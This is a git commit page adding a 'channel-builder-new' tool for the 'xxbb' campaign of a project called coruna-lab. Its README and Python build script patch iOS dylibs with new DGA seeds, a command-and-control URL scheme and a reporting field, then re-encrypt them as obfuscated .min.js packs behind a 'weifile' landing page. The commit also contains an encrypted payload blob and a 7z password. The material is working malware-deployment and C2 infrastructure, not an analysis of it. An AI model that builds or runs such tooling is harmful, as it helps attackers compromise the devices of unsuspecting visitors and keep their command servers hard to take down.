feat: xxbb

This commit is contained in:
hashbro
2026-08-13 06:30:07 +08:00
parent f285d35d86
commit c6e386e069
121 changed files with 4083 additions and 51 deletions
+41
View File
@@ -0,0 +1,41 @@
# channel-builder-new
xxbb / weifile channel builder for coruna-lab. Separate from `channel-builder/`
(lab `web/` + `sync/` layout). New-type channels are distinguished by
`/source/{channel_name}/index.html`.
This pass patches **weifile secondary type-0x01 only** (DGA seeds + reporting
field `c`). `details/` is copied as-is (core/`c` not rewritten yet).
```bash
cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python tools/build.py \
--channel-name <8-32-alnum> \
--apply --force
```
Writes `{artifact-root}/source/{channel_name}/` (landing `index.html`) and
shared `{artifact-root}/details/` (default `../public`).
DGA seeds: omit `--deployment-seed` / `--reporting-seed` to reuse
`storage/app/channel-builder-new/lab_seeds.json`, or generate them on first run.
First generate writes one random seed and copies it to both deployment and
reporting (same as `channel-builder`). CLI pair must also match. The first 5
PLServerPool DGA candidates are stored in `lab_seeds.json` and returned in
the create result (`domains.deployment` / `domains.reporting`).
| Flag | What it replaces | Where |
|------|------------------|--------|
| `--deployment-seed` | DGA seed → `%@.icu` / `backup%u.icu` | secondary dylibs (1 hit each) |
| `--reporting-seed` | Reporting DGA seed | secondary dylibs (1 hit each) |
| `--channel-c` | Native report field `c` (`202700cf…`) | secondary dylibs (1 hit each) |
| `--scheme` | Native DGA/C2 URL scheme (`https://%@` / `https://backup%u.icu`) | secondary dylibs (default `https`; `http` is ATS-blocked on device for `.icu` hosts) |
Do **not** change the 7zAES password `202800cfb1ad3de68e11239dcc26c30b`
(one nibble off `c`). Details modules still decrypt with that password.
`index.js` iptj URL / `channelCode` are not patched here. Native `/event`
`c` still comes from core until a later details pass.
+1
View File
@@ -0,0 +1 @@
pycryptodome>=3.19
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl")
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,14 @@
[
{
"hash": "57620206d62079baad0e57e6d9ec93120c0f5247",
"size": 8309,
"sha256": "10c37b315a0e476e8f4a47352a7ab995cdce695c53f1586c1420301c4effdeb1",
"head": "let r={};function i(t){return window.BigInt?BigInt(t):t}r.U=i;const u=i(549755813887),o=(896953977 ^"
},
{
"hash": "14669ca3b1519ba2a8f40be287f646d4d7593eb0",
"size": 12475,
"sha256": "561f8c272cd40bd4750894e8d2db825928b173bdb53cd828e5a4bf72f940f581",
"head": "let r={};const x=globalThis.obChTK.hPL3On(([118, 116, 117, 113, 115, 113, 115, 117, 39, 117, 113, 11"
}
]
@@ -0,0 +1,13 @@
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>weifile</title>
</head>
<body>
<script type="text/javascript" src="index.js"></script>
</body>
</html>
@@ -0,0 +1,62 @@
"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
from __future__ import annotations
import lzma
import struct
from Crypto.Cipher import ChaCha20
WRAP_MAGIC = b"\x0d\xf0\xed\x0b" # 0x0BEDF00D LE
F00D_MAGIC = 0xF00DBEEF
def build_f00dbeef_type01(dylib: bytes) -> bytes:
"""Single-entry F00DBEEF used by this campaign's secondary packs."""
header = struct.pack(
"<6I",
F00D_MAGIC,
1, # version / entry-count field as in sample
0x00010000, # type 0x01
3,
0x18, # payload offset
len(dylib),
)
return header + dylib
def wrap_xz(plaintext: bytes) -> bytes:
compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
def unwrap_xz(blob: bytes) -> bytes:
if blob[:4] != WRAP_MAGIC:
raise ValueError(f"bad wrap magic: {blob[:4]!r}")
expected = struct.unpack_from("<I", blob, 4)[0]
plain = lzma.decompress(blob[8:])
if len(plain) != expected:
raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
return plain
def chacha_crypt(data: bytes, key: bytes) -> bytes:
if len(key) != 32:
raise ValueError("ChaCha20 key must be 32 bytes")
return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
plain = unwrap_xz(chacha_crypt(blob, key))
if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
raise ValueError("not F00DBEEF after decrypt")
offset = struct.unpack_from("<I", plain, 16)[0]
size = struct.unpack_from("<I", plain, 20)[0]
dylib = plain[offset : offset + size]
if len(dylib) != size:
raise ValueError("truncated dylib in F00DBEEF")
return dylib
+569
View File
@@ -0,0 +1,569 @@
#!/usr/bin/env python3
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
Per-channel landing:
{artifact-root}/source/{channel_name}/index.html
Shared details stay at {artifact-root}/details/.
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
"""
from __future__ import annotations
import argparse
import hashlib
import json
import re
import secrets
import shutil
from datetime import datetime, timezone
from pathlib import Path
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
CHANNEL_ROOT = "source"
LANDING_NAME = "index.html"
DGA_COUNT = 5
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
RESERVED_CHANNEL_NAMES = frozenset(
{
"admin",
"user",
"api",
"web",
"sync",
"details",
"weifile",
"hooks",
"link",
"statistic",
"vhx",
"event",
"log",
"storage",
"build",
"hot",
"vendor",
"css",
"js",
"up",
"index",
"assets",
"static",
"source",
"channel",
"out",
"t",
"a",
"u",
"uj",
"us",
"ub",
"ba",
"result",
"favicon",
"robots",
"sitemap",
"public",
"app",
"bootstrap",
"config",
"database",
"resources",
"routes",
"tests",
"artisan",
"livewire",
"sanctum",
"telescope",
"horizon",
"pulse",
}
)
def pack_ascii32(name: str, value: str) -> bytes:
data = value.encode("ascii")
if len(data) > 32:
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
if not data:
raise SystemExit(f"{name} must be non-empty")
return data + b"\x00" * (32 - len(data))
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
count = 0
start = 0
while True:
index = buf.find(old, start)
if index < 0:
break
buf[index : index + 32] = new32
count += 1
start = index + 32
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
f"count={count} (want {expect}). Already patched?"
)
return count
# Longest-first. Native DGA / backup / NSURL scheme slots (NUL-terminated).
HTTPS_CSTRINGS = (
b"https://backup%u.icu",
b"https://%@",
b"https://",
b"https",
)
def http_cstring(https_s: bytes) -> bytes:
if not https_s.startswith(b"https"):
raise SystemExit(f"not an https C-string: {https_s!r}")
return b"http" + https_s[5:]
def replace_cstring(buf: bytearray, old: bytes, new: bytes, *, label: str, expect: int) -> int:
"""Replace a NUL-terminated C string in place. `new` must be <= `old` (pad with NUL)."""
if b"\x00" in old or b"\x00" in new:
raise SystemExit(f"{label}: C-string must not contain NUL")
if len(new) > len(old):
raise SystemExit(f"{label}: cannot grow {old!r} -> {new!r}")
old_c = old + b"\x00"
new_c = new + b"\x00" * (len(old_c) - len(new))
count = 0
start = 0
while True:
index = buf.find(old_c, start)
if index < 0:
break
buf[index : index + len(old_c)] = new_c
count += 1
start = index + len(old_c)
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')}\\0 "
f"count={count} (want {expect})"
)
return count
def patch_url_scheme(buf: bytearray, *, scheme: str, label: str) -> None:
if scheme == "https":
for old in HTTPS_CSTRINGS:
if buf.find(old + b"\x00") < 0:
raise SystemExit(f"{label}: missing {old.decode()}\\0")
return
if scheme != "http":
raise SystemExit("--scheme must be http or https")
for old in HTTPS_CSTRINGS:
replace_cstring(buf, old, http_cstring(old), label=label, expect=1)
if buf.find(b"https://%@\x00") >= 0 or buf.find(b"https://backup%u.icu\x00") >= 0:
raise SystemExit(f"{label}: https URL formats still present")
if buf.find(b"http://%@\x00") < 0 or buf.find(b"http://backup%u.icu\x00") < 0:
raise SystemExit(f"{label}: http URL formats missing after patch")
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def load_keys() -> dict:
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta.get("stems")
if not isinstance(stems, dict) or not stems:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing stems")
return meta
def group_dylib_path(group: str) -> Path:
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
if len(files) != 1:
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
return files[0]
def patch_dylib(
data: bytes,
*,
deployment_seed: str,
reporting_seed: str,
channel_c: str,
label: str,
scheme: str = "https",
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
patch_url_scheme(buf, scheme=scheme, label=label)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
return bytes(buf)
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def validate_channel_name(value: str) -> str:
name = (value or "").strip().lower()
if not CHANNEL_NAME_RE.fullmatch(name):
raise SystemExit("--channel-name must be 8–32 chars of [a-z0-9]")
if name in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-name {name!r} is reserved")
return name
def gen_seed() -> str:
return secrets.token_hex(16)
def utc_now() -> str:
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
"""First 5 hosts each native shared pool will try.
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
"""
del dep, rep
hosts = generate_domains(channel_c, count)
return {"deployment": hosts, "reporting": list(hosts)}
def load_lab_seeds(path: Path) -> dict | None:
if not path.is_file():
return None
doc = json.loads(path.read_text())
if not isinstance(doc, dict):
raise SystemExit(f"invalid {path}: not an object")
dep = doc.get("deployment_seed")
rep = doc.get("reporting_seed")
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
raise SystemExit(f"invalid {path}: missing seeds")
return doc
def write_lab_seeds(
path: Path,
*,
dep: str,
rep: str,
channel_c: str,
domains: dict,
existing: dict | None,
) -> dict:
now = utc_now()
doc = {
"schema_version": 1,
"mode": "dga",
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
"dga_count": DGA_COUNT,
"domains": domains,
"created_at": (existing or {}).get("created_at") or now,
"updated_at": now,
}
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(doc, indent=2) + "\n")
return doc
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
if len(dep_list) < 1 or len(rep_list) < 1:
return False
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
def _domains_from_existing(
existing: dict | None, dep: str, rep: str, channel_c: str
) -> tuple[dict, bool]:
"""Return (domains, newly_computed)."""
expected = compute_domains(dep, rep, channel_c)
raw = (existing or {}).get("domains") if existing else None
if isinstance(raw, dict):
dep_list = raw.get("deployment")
rep_list = raw.get("reporting")
if (
isinstance(dep_list, list)
and isinstance(rep_list, list)
and _looks_like_xxbb_domains(dep_list, rep_list)
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
):
return expected, False
return expected, True
def resolve_seeds(
*,
lab_seeds_path: Path,
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
existing = load_lab_seeds(lab_seeds_path)
channel_c = (cli_c or "").strip() or (
str(existing["channel_c"]) if existing and existing.get("channel_c") else ORIGINAL_C
)
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
if cli_dep and cli_rep:
dep = cli_dep.strip()
rep = cli_rep.strip()
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
if dep != rep:
raise SystemExit("deployment and reporting seeds must match")
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed or existing.get("channel_c") != channel_c:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed and existing is not None
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, existing is None
if existing:
dep = str(existing["deployment_seed"])
rep = str(existing["reporting_seed"])
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed
dep = gen_seed()
rep = dep
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
)
return dep, rep, channel_c, domains, True
def default_state_root() -> Path:
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
def main() -> int:
parser = argparse.ArgumentParser(
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="native report field c and DGA seed (lab new-builder passes channel_id here)",
)
parser.add_argument(
"--channel-name",
help="per-channel folder + html name; required with --apply",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain {channel_name}/ and details/",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/ (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate output for rebuilt .min.js (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace an existing {channel_name}/ directory",
)
parser.add_argument(
"--scheme",
choices=("http", "https"),
default="https",
help="native DGA/C2 URL scheme (https is required on device; http is ATS-blocked for .icu hosts)",
)
args = parser.parse_args()
state_root = (args.state_root or default_state_root()).resolve()
state_root.mkdir(parents=True, exist_ok=True)
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
lab_seeds_path=state_root / LAB_SEEDS_NAME,
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
)
channel_name = ""
if args.channel_name:
channel_name = validate_channel_name(args.channel_name)
elif args.apply:
raise SystemExit("--channel-name is required with --apply")
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
patched: dict[str, bytes] = {}
for group in groups:
path = group_dylib_path(group)
data = patch_dylib(
path.read_bytes(),
deployment_seed=dep,
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
scheme=args.scheme,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
out = args.out
if out is None:
out = state_root / "out"
out = out.resolve()
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
print(f" wrote {dest.name} ({len(wire)} bytes)")
weifile_path = ""
details_path = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_channel = artifact / CHANNEL_ROOT / channel_name
dest_details = artifact / "details"
if dest_channel.exists() and not args.force:
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_channel)
landing = dest_channel / LANDING_NAME
src_html = dest_channel / "weifile.html"
if not src_html.is_file():
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
shutil.copy2(src_html, landing)
copy_tree(SOURCE_DETAILS, dest_details)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = dest_channel / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
details_path = "/details/"
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
print("reporting domains:")
for i, domain in enumerate(domains.get("reporting") or [], 1):
print(f" {i:03d} {domain}")
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": channel_name or None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"details_path": details_path or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": False,
"domains": domains,
"seeds": {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"scheme": args.scheme,
"notes": [
"details/core not patched; native /event c still original until a later pass",
"index.js iptj URL / channelCode not patched",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
if __name__ == "__main__":
raise SystemExit(main())

Some files were not shown because too many files have changed in this diff Show More